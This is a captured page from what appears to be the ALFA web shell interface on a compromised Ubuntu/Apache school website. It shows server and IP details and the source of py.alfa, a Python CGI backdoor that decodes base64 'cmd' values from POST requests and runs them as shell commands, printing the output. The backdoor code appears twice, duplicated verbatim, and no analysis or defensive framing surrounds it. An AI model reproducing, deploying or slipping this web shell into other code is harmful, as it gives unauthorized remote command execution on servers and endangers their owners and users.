Apache/2.4.7 (Ubuntu) Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) safemode : OFF MySQL: ON | Perl: ON | cURL: OFF | WGet: ON > / var / www / html / sman1baleendahok / html / ALFA_DATA / alfacgiapi / | server ip : 104.21.89.46 your ip : 172.69.214.235 H O M E |
Filename | /var/www/html/sman1baleendahok/html/ALFA_DATA/alfacgiapi/py.alfa |
Size | 463 |
Permission | rw-rw-r-- |
Owner | ulung : ulung |
Create time | 27-Apr-2025 11:12 |
Last modified | 05-Feb-2025 08:55 |
Last accessed | 08-Jul-2025 00:42 |
Actions | edit | rename | delete | download (gzip) |
View | text | code | image |
#!/usr/bin/python
try:
import cgitb; cgitb.enable()
except:
pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
print base64.b64decode(check)+"<pre>"
child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
child_stdin.close()
result = child_stdout.read()
child_stdout.close()
print result.strip()
print "</pre>"
try:
import cgitb; cgitb.enable()
except:
pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
print base64.b64decode(check)+"<pre>"
child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
child_stdin.close()
result = child_stdout.read()
child_stdout.close()
print result.strip()
print "</pre>"